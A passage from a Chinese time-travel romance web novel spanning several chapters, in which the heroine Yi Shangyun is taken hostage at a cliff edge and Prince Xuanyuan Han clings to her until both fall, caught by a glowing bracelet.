于是,她似是本能般地微微侧耳着缓缓闭起眼睛来,集中精力用心仔细地听了起来。 半晌后,她终于将轩辕翰的喃喃之音听的清清楚楚,心里默默道“原来,殿下他一边发抖,一边嘴里不停地反复念叨着的是‘不要跳,求求你不要跳下去。你给本王回来,本王不许你死,本王一定不能让你们母子再死一次。本王这次一定知道该怎么选,一定知道……’。” 片刻后,衣上云终于明白了过来。 原来,轩辕 翰此刻如此战战兢兢着,并不是因为拓跋泽口中所说的那么不堪一击,亦或者又变成了什么疯子。 原来,殿下是因为看到了我,此刻被拓跋泽挟持在悬崖边上,心中又想起了他儿时曾遇到的那位,为了救他性命而不惜牺牲自己,一尸两命坠崖身亡的即将临盆的妇人。 这是留在殿下心里永远都抹不掉的阴影和伤疤,一旦触碰,或者与当年相似的情景再现,殿下便会深陷在自己当年的回忆里,自责不已,失去理智,痛不欲生。 “不行,今日无论如何,我一定要想办法彻底帮殿下除去这个心底的伤疤和阴影,一定要将殿下彻底唤醒过来。否则,它必定将会伴着殿下一生一世,困扰着他,不得释怀。”衣上云心里暗暗道。 就在衣上云正准备要说话时,一旁的易君浩早已按耐不住了。他必须得做点儿什么,不能就这样任由双方僵持着,坐以待毙,而自己什么都不做。 于是,他终于忍不住抢先开了口,提高嗓门,道“拓跋泽,你冷静一点儿,不要乱来。‘冤有头,债有主’,那丫头与你无冤无仇,你没理由挟持伤害她,她的脖子已经在流血了。再说了,她只不过是一个区区小小的宫廷药师家,不被受待见的废柴丑女,一无财二无色。而我,我乃是西秦国最大的药草商人,亦是名震整个灵空大陆的百草谷谷主,身价不菲。不如,本谷主来与那丫头做交换,岂不更好,你…意下如何?” 易君浩一边说着,一边试探着往前迈了两步。 拓跋泽一见,即刻抵紧了手里的短剑,朝其怒吼着警告道“不要动,你少废话。今日,就算你是天王老子,即使给本皇子搬来整座金山银山,也换不了她。除了她,本皇子谁都不要。你们若是有人胆敢挑战,不妨就来试试。” 眼看着自己那主子此刻也不知道什么原因,已然是神志不清了,程良亦只能想办法来为主子拖延争取一些时间,或许下一秒主子就会恢复了神志,清醒过来也不可而知呢?! 于是,程良亦开口紧随易君浩之后叫嚣说道“拓跋泽,我劝你不要敬酒不吃吃罚酒,你们费尽心思布置在我西秦国内的所有细作和人马,都已经全部被俘了。方才在那边的树林里,追随你的那队要跟你一起回国重振旗鼓的最后几个残兵败将,亦都已经向我西秦弃械投降了。所以,我劝你还是乖乖束手就擒吧,不要再做这些无谓的挣扎了。” 岂料,拓跋泽即便是在此时已是全军覆没,亦一副满是毫不在乎的样子,道“哼,正所谓‘擒贼先擒王’,你不妨睁大了你的狗眼好好看看,此时此刻,到底是谁落在了谁的手里?这场仗,究竟谁输谁赢,恐怕尚且还不一定呢吧?! ” “拓跋泽,你……”程良瞬间被他这句话气的差点儿噎死。 然拓跋泽却顿时露出了一脸的得意洋洋之色。 就在这时,突然间人影闪动,道旁的林中窜出一个熟悉的身影来,只见那人一绕过重重阻碍,便悄悄溜到了拓跋泽的身旁,一手扶着腰间的佩剑,一手附在拓跋泽的耳边对其神秘地耳语起来。 片刻后,只见拓跋泽似是极为愤怒地横眉竖眼着,对其大声道“真的?” 那人极为认真地点点头,之后一转过身来,程良方才看清楚,那竟是方才的一只漏网之鱼,不禁惊讶道“是他?可恶,竟然被他给溜了。” “他是谁?”易君浩悄声问道。 (本章完) 第一百八十章:命悬一线 衣上云乘着拓跋泽纳闷而放松警惕之际,缓缓地试着将自己的一只脚,轻轻抬起朝着后侧方悄悄退去。 拓跋泽光顾着吃惊纳闷,衣上云此刻为何一会儿狂笑,又一会儿梨花带雨般地落泪哭成个让人心碎的泪人儿? 而此刻,她又是露出这副让人捉摸不透的眼神来,她这究竟是怎么了? 他根本不知道她心里此时到底在想些什么,更不知她欲要做什么? 他之所以如此举着利剑抵紧在她的脖颈间,狠心以此来挟持她。只不过是见今日,即使他们兄弟俩人联手,亦未必是那秦王轩辕翰的对手。 他没想到,这轩辕翰确实名不虚传。 在这种情况下,怕是‘不是你死,便是我亡’,他的胜算太小太小,几乎是输定了。 到时候,且不说带着衣上云回北烈重整旗鼓了,怕是就连他兄弟二人的性命,亦不能得以保全了。 他们尊为堂堂一国之皇子,岂能甘当俘虏,此乃奇耻大辱不说,到时候如果西秦拿他们二人的性命要挟其父王,北烈怕是因此而遭受到亡国之灾,亦不可而知。 可当他忽然发现,这秦王竟是真的很在意衣上云这个丫头的时候,他忽然想到了以此来威胁秦王轩辕翰,逼他束手就擒。 这样一来,目前所有看起来似是对他极为不利的局面,便顿时变得反客为主,豁然明朗了起来。 可即便如此,他心里的打算也仅仅只是利用她一下而已,他又怎么可能真的想要伤及她的性命。 可千算万算,他显然没有料到,轩辕翰竟然会在此时,忽然如此发疯般地魔怔了起来,引得在场众人顿时间都手足无措了起来。 想着方才所发生的这一切,拓跋泽似是有些出神般地,痴痴看着衣上云眼角所滑下的泪水,跟随着她的脚步,缓缓地一步一步朝后退着,竟没料到不知何时,自己已被其悄悄地带退到了悬崖边上。 忽然,一直站在拓跋泽身旁不远处的近身侍卫,灵光一闪,似是陡然发现并意识到了衣上云此时心里所打的主意。 就在衣上云准备着突然止步顿足,打算一个急转身,趁其不备将拓跋泽推下身后的万丈悬崖去之际,那侍卫大声地朝其警示急呼道“殿下当心后面!” 拓跋泽一听到这阵及时的惊呼声,骤然惊醒。随即似是本能般地斜视了一眼后方,继而赶忙松开了禁锢衣上云的那双有力的大手,只自顾自地改变重心,伸出一只手去,向着前方的侍卫边儿上垮了过去。 那侍卫一见,亦急步上前来,将拓跋泽一把拉到了自己的身边。 然衣上云却因这个急转身的动作用力过猛过快,她又不会武功,根本收不了势。已然来不及收力,只得任凭自己的整个身子 ,迎面对着那深不见底的悬崖里扑了下去。 而就在这千钧一发之际,有个身影犹如一道闪电般地飞快移动着。又似一道光,身子轻轻一晃便轻松地脱离了拓跋宏的牢牢控制,继而直冲向前,从拓跋泽及其侍卫的面前一闪而过。 其速度之快,闪经之处,竟将那刚刚回到安全地带,尚还杵在那里惊魂未定着的拓跋泽,当即震倒,跌坐在了地上。 因为本就身受了严重的内伤,这一震,竟又使得其当即嘴里再次喷出一大口鲜血来,溅洒在地上,整个人跟着便顿时虚弱地抚着胸口气喘吁吁起来。 那侍卫更是被其闪身而过的速度,带动着在原地里不停地转起了圆圈来,怕是此时直两眼冒着金星,连东南西北都分不清了吧。 不远处,亦是同样被这速度惊呆了的拓跋泽的弟弟拓跋宏,依旧保持着方才集中自己全部所有的注意力,持剑立在那里,死死地盯视和控制着轩辕翰的姿势。生怕一不小心,便如刚才的那场比试一般被对方占了上风,给牵制住。 他似是还没反应过来,自己那样牢牢禁锢着的轩辕翰,到底是如何从自己手中逃脱的? 如今,他却只能是一副瞪大了眼睛,看着轩辕翰方才站立的地方,似是又还没意识到眼前究竟发生了什么似的,整个人一副惊愕至极了的傻愣模样。 就在衣上云的转身和轩辕翰的清醒,几乎是发生在同一时间的时候,目光一直落在轩辕翰身上,等待着一个出手的合适时机的程良,眼疾手快地一看到主子的身子微微动了一下,便高兴地急呼了一声“殿下醒了。” 话音尚还未落,便见他顿时双脚用力点地,便手持长剑飞身了出去,与拓跋宏火拼了起来。 “丫头”而亦是同时,目光一直落在衣上云身上的易君浩,同样吃惊地大喊了一声,则亦用力点地飞身而出,直奔向了悬崖边上去帮忙。 拓跋泽再次身受重创,待其闻声一回过神来,这才发现此时此刻,眼前的情势已是完全一片失控和混乱之中。 他的弟弟一直用手中的利剑,牢牢控制着的秦王轩辕翰早已不见了踪影,却与程良剑光霍霍地纠缠在一起。 又见易君浩正全力飞身而出,朝着他所在的方向袭来,还误以为是来取他性命的。 于是,他立即屏住呼吸,咬紧牙关,摇摇摆摆吃力地再次站了起来,继而又狠狠地给了那身旁,尚还在转圈儿的侍卫一巴掌,侍卫被痛扇之后方才醒过神来。 拓跋泽随即对其怒斥道“蠢货,还不快给本皇子上。” 于是,只闻那侍卫声嘶力竭,一声悠长的“啊……”之后,便如同豁出去性命了一般似的,惊慌失措地一把抽出了腰间的佩剑,举着直朝 易君浩身边疯狂地阻拦杀了出去。 衣上云本欲打算乘其不备,推拓跋泽跌入悬崖,以自己的力量战胜他。好让轩辕翰看到她绝不会像十几年前的那位妇人一样,被迫落崖。从而除去埋藏在他心里多年,那深深的阴影和恐惧。 然却不想竟被拓跋泽的近身侍卫识破了她的计谋,拓跋泽闪身离开后,她只能似是本能的顺势倒地向悬崖跌了下去。 忽然,她的头顶却出现了一只有力的大手,将她所能抓住的唯一一根救命稻草,从另一头一把牢牢地拽住。 衣上云是先正面朝下跌趴在悬崖边,因大半个身子先落入山崖,在沿着笔立的危崖滑落的时候,顺手以双手抱住了崖壁上,唯一可以抓住的救命稻草,但还不足以能承受住她的全部重量的一株朝下生长的小树。 若不是轩辕翰神速赶来,将扎进悬崖壁上的岩石里的树根牢牢地抓住,怕是她早已连人带树跌落了下去,粉身碎骨了。 “殿下!”猛一抬头,衣上云又惊又喜道。 轩辕翰亦露出甚是难得的一抹微笑,道“抓紧,不要松手。” 正在他想办法试着发力想要将衣上云拽回来的时候,拓跋泽急急回过头来,看向了悬崖边上。 原来,方才将自己席卷震倒在地的那道闪烁光影,竟是那刚刚还在似疯又似癫的秦王轩辕翰。 此时,他正将自己的近半个身子置在半空里,只身趴在悬崖边上,而唯独却不见了衣上云那丫头的身影。 拓跋泽吃惊极了,他没想到,这西秦国年纪轻轻的秦王轩辕翰的功力造诣,竟已能达到如此出神入化的境界。看来,他还真是越来越不能小觑了这灵空战神了。 衣上云那臭丫头,不会已经跌落悬崖,粉身碎骨了吧。拓跋泽一边暗自想着,一边抚着胸口缓缓踱起步来,朝着轩辕翰的身边走过去。 而当他一走近其身旁,方才吃惊地看到轩辕翰正趴在悬崖边,一只手支撑着自己身体的重心,另一只手则拼命般的死死拽着一根细细的树干。 拓跋泽紧忙放眼朝着树干的另一头望去,只见衣上云宛如一纸断了线的风筝,正两手缠绕着挂在树干上面,摇摇欲坠着,她双脚乱蹬,只盼能踏到什么东西。 拓跋泽随即露出一抹阴冷的笑来,大踏步上去竟嗖的一下,伸出一只大脚狠狠地用力踩在了支撑轩辕翰身体的那只手上,趾高气昂地站在他的身旁,居高临下地看着衣上云说道“臭丫头,本皇子如此真心待你,你竟胆敢设计本皇子,还妄想欲将本皇子推下这万丈悬崖去。哼...这都是你自己咎由自取的,莫怪本皇子无情,袖手旁观。” 而此时,衣上云的衣衫早已被崖边长满的荆刺,扯 得东破一个洞,西烂一条布,手脚上亦都到处是破损。 两个臂膀都已只剩下半截,露着雪白的玉臂,臂上亦都是在岩石边上划出的一条条长长的伤口,渗着斑斑血迹。 拓跋泽站在一旁,重重地踩着轩辕翰的一只手,心里幸灾乐祸极了,又道“轩辕翰,快松手吧,你不要命了吗?就为了一个区区药师府上的废柴丑女,至于搭上你自己的性命么?” 闻此,尚还处在惊魂未定着,似是都不敢睁眼朝着下方看一眼,心里恐惧极了的衣上云,亦赶忙抬头看着头顶轩辕翰深邃的眼眸,开口大喊“殿下放手,快放手,若你再不放手的话,殿下也会坠崖没命的。西秦国可以没有衣上云,但绝不能没有秦王殿下啊!” (本章完) 第一百八十一章:小骗子,原来你都记得 衣上云抬起头来,仰望着头顶因被拓跋泽痛踩而吃力着的轩辕翰深邃的眼眸,开口对其大喊道“殿下放手,快放手,若你再不放手的话,殿下也会坠崖没命的。西秦国可以没有衣上云,但绝不能没有秦王殿下啊!” 而此时,只身趴在一片荆棘丛之中,身上的伤处隐隐作痛着;一只手又被拓跋泽狠狠地,几乎用尽全身的力气重重地踩在脚下;另一只手还得拼命拽紧手中的树干以及这树干另一头自己最心爱的女人。轩辕翰却只自顾自地咬紧了牙根,默默地承受着这一切。 看着衣上云几近于哀求的眼神,他吃力地安慰她道“平心静气不要说话,保存体力,千万要抓紧了。无论如何,一定不要松开手。不管待会儿发生什么,本王都不会松手,也不允许你松手。” 话音刚落,只闻突然间“嘭”的一声,连接俩人的树根,其生长的附近岩石上,裂开来几条缝隙,俩人一起不约而同地看向了树根的部位。 没错,这本就只是一颗无法承受住一个成人重量的小树而已,此时眼看着已然将被衣上云彻底给连根拔起。 瞬间,只见大大小小的许多岩石块相继崩裂了开来,继而穿成一条线,纷纷滑落而下,跌入悬崖里去。 衣上云顿时被这眼前所发生的,亦是自己最担心的状况惊呆了。 她似是本能一般地忙收腿蜷缩起整个身子来,闭起了双眼,用尽所有力气握紧那根手中细细的树干,她此时唯一的救命稻草,大声地连连惊叫起来“啊,啊,啊...” 就在这时,浅埋在岩石缝隙里的树根,似是被她这阵忽然发出的尖叫声所惊醒了一般,顿时从岩石里彻底脱离了开来。 轩辕翰当即眼疾手快地迅速加力,一把握紧了即将下滑的树根,口中忙道“没事,没事,有本王在,本王在这儿……” 半晌后,衣上云方才缓缓睁开了眼睛,惊恐地看了看尚还安安全全地紧握在自己手中的那根救命稻草,又抬头看了一眼轩辕翰那张满是忧心的脸。 接着,她又惊魂未定地怯怯向下瞥了一眼。 几近笔直的悬崖下,深谷里云雾弥漫,兀自不见尽头,她望着望着不禁倒抽了一口气,顿时牙齿竟上下咯噔咯噔地直打起架来。 片刻后,她又闭起了双眼,脑子里似是一片空白,直嗡嗡作响。 她在心里不停地重复着问自己“怎么会这样?我该怎么办?……” 就在她正暗自思量之际,悬崖边的拓跋泽冷笑一声,将扎在轩辕翰手上的那只短剑,哧的一下拔了出来,拿在一只手里转动把玩着,开口说道“死到临头了,没想到你们这对痴男怨女,竟还如此这般恋恋不舍、生死相依、不离不弃的。真是感人至深 啊!不过,你们就不要痴心妄想着,做这些无谓的挣扎了。 闻此,轩辕翰沉声道“你想做什么?” 拓跋泽道“难道秦王没发觉,本皇子至今,尚都还没有出手么?如果此时,本皇子用手里的这柄短剑,斩断这誉满整个灵空的战神秦王的一只手臂,不知,结果会如何?“ “你不妨试试看?”轩辕翰冷声道。 拓跋泽一边说着,一边蹲下身来在轩辕翰支撑重心的那只手臂旁边拿剑一边比划着,一边傲慢地说道“秦王不要着急嘛,本皇子可不是跟你开玩笑的。本皇子只是还没想好,到底是该斩段秦王左边的那只,还是右边的那只手臂比较好呢?如果留这一边的话,可以让秦王活着,你只是痛失了另一只握那树干的手臂而已。可这样一来,那丑丫头的小命自是就没了;而如果本皇子不留这边的话,你便会立刻失去支撑你整个重心的力量,如此,秦王和那丫头,便要一起坠崖身亡,做一对名副其实的鬼鸳鸯了!啧啧啧,真是伤脑筋啊,本皇子究竟该怎么选才好呢?” “拓跋泽,你敢?”衣上云闻声,终于停止了思绪,回过神来抬起头大声朝其怒道。 拓跋泽闻此立刻站起身来,俯瞰着衣上云,眼珠子咕噜一转,说道“本皇子敢不敢,过会儿你自会知道。不过...看在你的面儿上,本皇子不妨就再多给你一条路选吧。要生要死,就看你怎么选了?” 衣上云紧锁眉头,疑惑地问“什么意思?” 拓跋泽轻叹口气,认真道“本皇子承认,本皇子是真心看上了你这个丫头。所以,本皇子打算再给你最后一次机会,衣上云…如果你答应做本皇子的妃子,本皇子便立刻饶过你们俩人,否则……休怪本皇子无情无义。” 衣上云冷笑一声,道“哼,你看上我?你看上的恐怕不是我的人,而是想让我帮你制毒,还有...帮你寻找传闻中,那关于西秦国的那股神秘力量的下落吧?!” 拓跋泽无所谓地说“随你怎么想,怎么说吧。总之,本皇子愿意不介意你与这秦王之间过去的种种而接纳你。那你,又究竟作何打算?” “拓跋泽,有本王在,丫头,这辈子,你都休想,无论是生是死,她都只能是本王一人的。”衣上云尚且还在犹豫思量之际,轩辕翰却想都没想,直坚定不移地盯着衣上云的眼睛抢先脱口说道。 “殿下!”衣上云闻此,顿时深情地仰望着轩辕翰的眼睛喃喃道。 拓跋泽瞬时间火冒三丈,一手举剑在轩辕翰的耳边,一手死死地按住他的头,面目狰狞地朝其怒吼道“轩辕翰,你真是敬酒不吃吃罚酒。死到临头了,还如此气焰嚣张。看来,你是不见棺材不落泪。好,本皇子这 就成全你们,让你们做一对阴间鬼鸳鸯。还有什么临终遗言,就快快讲吧。讲完了,本皇子亲手送你们上路。” 然这时,轩辕翰却似是无话可说了。与其说是无话可说,倒更不妨说是一切尽在不言中。 然此时的衣上云,看着疯狂般的拓跋泽对轩辕翰的一举一动,又看了看被他牢牢禁锢之中,轩辕翰此时看她的那温柔的眼神。 西秦秦王,灵空战神,昔日里那样尊如神袛的一个人,可如今却因为她,落得如此境地,被人踩在脚下,按着他尊贵无比的头颅,伤害着他。她的心,突然之间痛极了。 她似是从来都没有因一个男人,而如此心痛过,就连魏明轩都不曾。 于是,衣上云深吸了口气,嘴角微微抽搐了两下,随即淡淡地朝着轩辕翰笑了笑,然眼角的泪水却早已情不自禁地悄悄滑落,被风吹走。 片刻后,她先朝着拓跋泽说道“拓跋泽,天下无不死之人。最多你也不过多活几年,又有什么可开心得?或许,还用不了几年,下一刻便就轮到你了。” 拓跋泽闻之,嘴角一斜,不屑极了。 接着,她又将视线收回,深情地望着轩辕翰许久,缓缓说道“殿下,对不起。发生的这一切,都是云儿拖累了殿下。云儿好笨,本想凭借自己的一己之力,将拓跋泽这个贼人推下悬崖。云儿这么做,并不是自不量力,云儿只是想替殿下除去埋藏在心里多年的那个心结而已。却不想,竟把自己给掉了下来,云儿更没有想到,会连累到殿下,受此侮辱。” “替本王除去心结?”轩辕翰突然不解地喃喃道。 衣上云抿起嘴来,朝其微微点头,继续道“以后的日子里,殿下您可不可以不要再难过,不要再将自己的心门关闭。那样的话,殿下就不会如此孤单。殿下要时常里多笑一笑,殿下的笑,真的很好看。云儿想,当年为了救殿下而同样落入悬崖的那位即将临盆的妇人,她若是还活着,亦不愿看到殿下今日的这般疯魔模样……” “你……”衣上云话还未完,一听到这里,轩辕翰似是忽然间想起了什么,一时间将其打断,顿时惊呆了。 然还未待他来得及开口将话说完,衣上云继续说道“如果当年的那位妇人,再给她一次重新选择的机会。云儿想,她依然会选择毫不犹豫地落下这座悬崖,来守护殿下。就如同,今日殿下亦不离不弃心甘情愿地要守护云儿一般。所以,这不是殿下的错,殿下您一定要释怀。那位妇人,她也只是选择了她心甘情愿所要守护的人,就是殿下你而已。而殿下,你却要守护这偌大的一个西秦国,乃至于以后的整个灵空大陆。这都是冥冥之中,上天早已经安排好的我们每个人与 生俱来的使命和命运,谁都不曾亏欠谁。” “衣上云,除夕那夜所发生的一切,本王同你所讲过的每一句话,原来你记得,你居然都记得,是不是?”轩辕翰惊讶地道。 衣上云笑着道“云儿记得,云儿这一生都会记着,生生世世,云儿都会记着殿下,记着殿下那晚给予云儿的一切。记着在这个时空里,云儿与殿下之间所有的过往。谢谢你,殿下,谢谢殿下对云儿所有的好。” “小骗子,原来你都记得,一直都记得,你竟然什么都记得,本王还以为……”轩辕翰喜极而泣道。 (本章完) 第一百八十二章:本王不会再信你 就在轩辕翰正准备聚集全身所有力气来发力,欲将手中的树干连同衣上云一起甩上来的瞬间,一直目不转睛牢牢地盯視着轩辕翰的一举一动的拓跋泽,眼疾手快地警觉到了他手下紧按着的轩辕翰的细微动作,随即高高举起了手里紧握着的锋利短剑,呲牙咧嘴地狠狠直朝着轩辕翰支撑全身重心的左臂膀坎去。 衣上云顿时仰望着惊叫起来“不要啊!” 就在这时,一道灼眼的亮光从拓跋泽的眼前“嗖”的一下,一闪而过。 只见拓跋泽的眼睛,顿时被这道来历不明,又让他措不及防的光亮照的灼痛不已,似是久久都不得再睁开来。 他本能地及时收回自己已经挥下去了一半的持剑的手臂去遮挡这灼眼的光芒,顺势将自己的整个头亦都扭转背向了过去。 原来,这道刺眼的光芒是不远处,正在与其侍卫剑光霍霍地纠缠相击在一起的易君浩,借着午时晒的正烈的太阳光亮,加上自己手中的亮剑,故意将其刚好反射到了拓跋泽的眼睛上,以及时分散其注意力。 此时,那侍卫正犹如一条疯狗一般,死死地拼命咬住易君浩不放,纠缠着易君浩的劍招。 远远地,易君浩一看到拓跋泽正在将大半个身子置在悬崖边上的荆棘丛中的轩辕翰死死的踩在脚底下,又用一只手大力地按着其脑袋,轩辕翰似是一点都不得动弹。 而他的丫头衣上云,则更是早已不见了身影,他的心里忽然涌上一种极不好的感觉,顿时间心急如焚。 那侍卫见他此时忽然间目光斜视着一边,心不在焉,一招一式中更是漏洞百出,尽显分心。于是,便以自己最快的速度持剑狠狠的朝着他的顶门劈了下去。 不想,易君浩却忽然回过神来朝其眼睛一怔,似是找到了一个脱身的机会。只见他迅速的一个腾空跃起,那侍卫用力过快且又猛,已然来不及收势,扑了个空。 易君浩便顺势在空中聚集力量于双脚之上,继而背对着他,用其狠狠地将那侍卫踢趴在了地上,那侍卫重重地倒地,迎面正好摔了个狗吃屎。 而紧接着,易君浩一刻都没有多做停留,直接迅速地双脚点地,一个极其轻巧迅捷的空中腾翻,便稳稳地站在了轩辕翰的身后。 而当他一定足下来,看到眼前轩辕翰正拼命拽着的那根连接其与衣上云俩人的救命稻草,只是一根细细的树干,貌似那树干的中间不知何时,还已经开始出现了即将要断裂的痕迹。 易君浩顿时朝着树干另一头的衣上云疾呼道“丫头,抓紧了,千万不要松手,亦不要抬头看!” 衣上云寻声一辨识出是易君浩的声音,脸上又惊又喜,道“三少,快帮帮殿下。” 易君浩随即一扭头 ,狠狠地瞪了拓跋泽一眼。似是都不屑于与他多费一句话,继而使出浑身力气来,大力地一抬腿,还没等拓跋泽反应过来究竟发生了什么,将那刚刚被一道耀眼的光芒灼痛的双眼回转过来,整个人便已像个圆球一般,被易君浩踹飞了出去,挂在数米远之外的树枝上后又重重地摔落下来,趴在了地上。【…¥&…免费阅读】 而此时,轩辕翰身上,被那荆棘丛所刺出的伤,依旧在四处隐隐作痛着,然他始终都小心翼翼地拽紧着手里的那根树干,眼睛更是一刻亦不敢放松和离开衣上云的身上。 树干上已经开始出现了断裂的痕迹,显然此时他已经不能随意发力,而是必须先小心翼翼的将树干一点点向上收回,直至可以让自己的手越过那道裂痕,才能保证这根救命稻草依然有效,方可发猛力。 就在易君浩亦很快地意识到了这点,正放眼在周围急急寻找着一个可以替代这根树干的物件,俩人好合力将衣上云赶快救回来之际,拓跋泽的近身侍卫已渐渐地狼狈万状的爬起身来。 他的这一摔跌,额头刚好撞上了一块尖石,整个额头上顿时都是鲜血淋漓,疼痛难忍。可一看到眼前出现的另一人的情景,却已然全都不得顾及自身。 那侍卫灰头土脸,踉踉跄跄,一起身来,看到正同样蜷缩在自己身旁伤痕累累,痛苦难当的拓跋泽一脸煞白,似是鬓角还冒着冷汗,在瑟瑟发抖着,一时间惊愣地连话都说不出来,只傻傻地呆愣着站在原地里,似是脚也抬不起来了。 “蠢货,还不快过来扶本皇子起来。愣在那里傻看着,是想找死吗?”看到侍卫一脸惊愣不已的模样,拓跋泽朝其气急败坏地怒喝道。 拓跋泽一被搀扶起身来,俩人便都一瘸一拐着,一起缓缓朝着悬崖边再次迈步返回去。 而待俩人一近身过去,拓跋泽一见眼前的危急情势:衣上云手中的救命稻草已然即将断开,轩辕翰又不能发一猛力,旁边的易君浩一时间又找不到可以替代那根树干的物件,正欲迈步离开,去别处寻找。 待到易君浩前脚刚一离开,拓跋泽便朝着身边那已经凄惨极了的侍卫,诡异地说了句道“你扬名天下的机会来了!” 侍卫闻言,甚是不解地看向了身旁这个深不可测的主子怔了半天,道“属下不明白殿下何意?” 拓跋泽沉声道“眼下,这灵空战神,秦王轩辕翰为了救一个女子,已是命在旦夕。你只要轻轻松松地悄悄送他上路。以后这天下,比秦王更让人闻风而丧胆的人,不就便是你了!这么好的一个机会,若不是因为本皇子遭那秦王突袭,身受重创,无论如何是都不会便宜了你的!” 然侍卫听了拓跋泽的分析,心里除了惊喜之外, 却似是又有那么一点忧心,道“可是…可是如果我们这么做的话,会不会有些胜之不武了呢?” 拓跋泽哼笑一声,道“这里除了轩辕翰和那丫头外,便只有你我二人。而那悬崖下,便是万丈深渊,掉下去怕是连骨头星都找不到一个,谁会知道这秦王轩辕翰究竟是怎么死的。人们只会好奇地想要知道,有本事能杀了这灵空战神的人,究竟是怎样的奇才,仅此而已。” 那侍卫心中稍作思索,便真的持剑缓缓踱步着,朝着轩辕翰的后心刺了过去。 谁知,并未走出多远的易君浩迅速察觉,随即身体轻巧灵活的腾空跃起,直奔向那侍卫身边而去。 拓跋泽一见,连忙持剑上去拦在其身前。 两人相遇,都不待言语,只剑光霍霍地双击在一起嗡嗡作响,剑法迅捷、全力相搏起来。 轩辕翰听到了身后再次交战起来,便知情势又变得紧张了起来,不由得心中起了一丝焦急。 衣上云亦顿时被耳边传来的这阵打斗声惊到,她情不自禁地向上仰望了一眼,这才看到轩辕翰正在小心翼翼地一点一点往上拉的,她手中的这根救命稻草已然即将断裂,她忽然明白,为何方才易君浩不让她抬头往上看。 而更令她惊讶的是,轩辕翰的身上,胳膊以及手臂都已经被悬崖边的那片荆棘丛刺的千疮百孔,鲜血直流。 衣上云心疼地望着他,眼里噙满了泪水,祈求道“殿下松手吧,云儿求您了。这树干眼看着就要断开了,再这样耗下去,我们俩真的都会没命的,云儿死不足惜,只求殿下您一定要好好活着。这个世上,还有更多的人需要殿下,为了云儿,殿下不值得做如此牺牲,殿下切莫要辜负了那位妇人的临终所托。” 然无论衣上云如何说,如何求,轩辕翰依旧坚定不移地继续着自己手里的动作,丝毫都不曾停下来半分。 最后,衣上云实在没了主意,也不知道如何才能劝动他。 就在她手足无措慌乱之际,忽然看到了套在自己手腕上的那只七彩金丝彩玉镯子,心想道“对啊,我原本就不是这个时空里的人,如果死了,是不是就会回到21世纪里去继续活着呢?如果真是这样的话,我便更不能让他陪我一起死了。显然,他已经彻底打动了我,为了我,他那样身份高贵的一个人,可以忍受被人踩在脚下,甚至连自己的命都不要了。我原来,早就已经喜欢上了离奇闯入的这个莫名的平行时空里的这位冰冷王爷,可也正因如此,我便更不能让他陪我一起死了。他必须活着,必须好好的活着……” 思及此,其实她根本就不知道,在这个时空里的死,是否就意味着在原属于自己的时空里就会是生。 一 切,都只不过是她安慰自己,战胜对即将来临的死亡的恐惧的借口而已。 衣上云忽然似是鼓足了勇气,仰起头来狠狠地对着轩辕翰大声说道“轩辕翰,松手吧。你就不要再自作多情了,我已经有喜欢的人了。他叫魏明轩,是我这辈子最爱的人。你和我,永远都不可能。” 此时听到魏明轩的名字,轩辕翰还是忍不住心中咯噔了一下,手里的动作亦突然间嘎然而止。 然只片刻时间,轩辕翰只怔愣了一下,便又继续开始了手中的动作,并宠溺地对其说道“小骗子,以后对于你对本王所说的每一句话,本王都不会再信你。” 话音刚落,眼见着那侍卫已到了轩辕翰的身旁,正要举剑朝其后心猛刺下来,而正在对轩辕翰已是一脸无奈中的衣上云,一看到便又一次被惊吓地连连尖叫起来“啊,啊,啊……” 而就在这时,易君浩闻声,眼疾手快的瞄准那侍卫的后心,飞剑掷出。 不想,那侍卫却突然踩到了一块岩石,随即脚下一个踉跄,便重重地扑向了悬崖里去,却一把顺势死死地抱住了衣上云的脚腕。 树干瞬间断裂,轩辕翰亦来不及收势,三人连成一线,瞬间一起跌入了悬崖里去…… (本章完) 第一百八十三章:深谷里的紫色“云彩” 眼见着那侍卫不知不觉已悄悄溜到了轩辕翰的身旁,正要举剑朝其后心猛刺下来。而正在对轩辕翰已是一脸无可奈何之中的衣上云,一看到那举剑霍霍而来的侍卫,便又一次被惊吓地连连尖叫起来“啊,啊,啊……” 而就在这时,易君浩闻声,眼疾手快的瞄准了那侍卫的后心,飞剑掷出。 不想,那侍卫却突然踩到了一块岩石,随即脚下一个踉跄,便整个人都重重地扑向了悬崖里去,却一把顺势死死地抱住了衣上云的脚腕。 眼看着轩辕翰的手马上就要越过那树干的断裂处,可以发一猛力。 然就在此刻,那树干被突然加上来的侍卫的重量所负累,“咔嚓嚓”一声巨响,便瞬间断裂。 轩辕翰已然来不及收势,三人顿时连成一线,一起跌入了悬崖里去。 尽管时间正值正午时分,山上烈日当空,然几近笔直的悬崖下的深谷里却是一片云雾弥漫,兀自看不见尽头。 轩辕翰一顺势落下,想都没想便似是本能一般地,即刻置身往下方俯冲而去,很快便将那已被彻底因惊吓过度而晕死过去的衣上云揽腰紧紧地抱住。 他温柔地贴在她的左耳旁,心疼极了的口中喃喃道“不要害怕,本王说过‘不管发生什么,本王都不会松手。’所以,即便是死,本王也会陪你一起。” 话一说完,他便努力地试着在视线极为模糊的笔立崖壁之上,寻找起可以借助的支点来。 而在距离俩人下方的不远处,受拓跋泽蛊惑的那名梦想着要乘人之危,借着杀秦王而扬名天下的近身侍卫,此时正面目狰狞着发出犹如杀猪一般,声嘶力竭的声音,不停地叫唤着“救命啊,救命啊……” 那无助极了的呼救呐喊声,瞬间充斥响彻了整片深谷。 许久后,似是真的喊累了,亦又或者是彻底绝望了。都怪自己既贪心,可又太蠢笨,竟然一次又一次地被拓跋泽设计和利用。 其实,他早已料到,这灵空战神,西秦秦王怎么可能那么容易便被人暗杀。 即便这世上真的有人能有能耐取了他的性命,也绝不可能是如此自不量力卑微的他。 所以,便只是脚下一颗小小的石头,今日竟也能帮那秦王,不费吹灰之力便取了他的性命。这就是天意啊,天意如此,今日乃是天要亡他啊。 后悔已然来不及,他忽然止声下来,抬起头想要寻着与他一起落下悬崖的衣上云和轩辕翰的身影,不想一时间却被眼前的景象惊呆了。 只见他瞬时张开了嘴,瞪大眼睛,朝头顶愣愣地怔望着。 他看到轩辕翰怀里正在紧拥着的衣上云的手腕上,有个什么东西,定睛仔细一看,好像是个镯子,正在源源不断地发出越来越强 的一道道紫色光芒来。 这一道道紫芒竟闪亮的直灼人眼睛,侍卫只能渐渐地将眼睛变成一眨一眨地偷窥。 最后,那镯子所发出的一道道极强的紫色光芒,竟瞬时突然快速地朝俩人脚下流窜聚集,继而合成为了一片似是紫色云彩的模样,将俩人稳稳地托起。 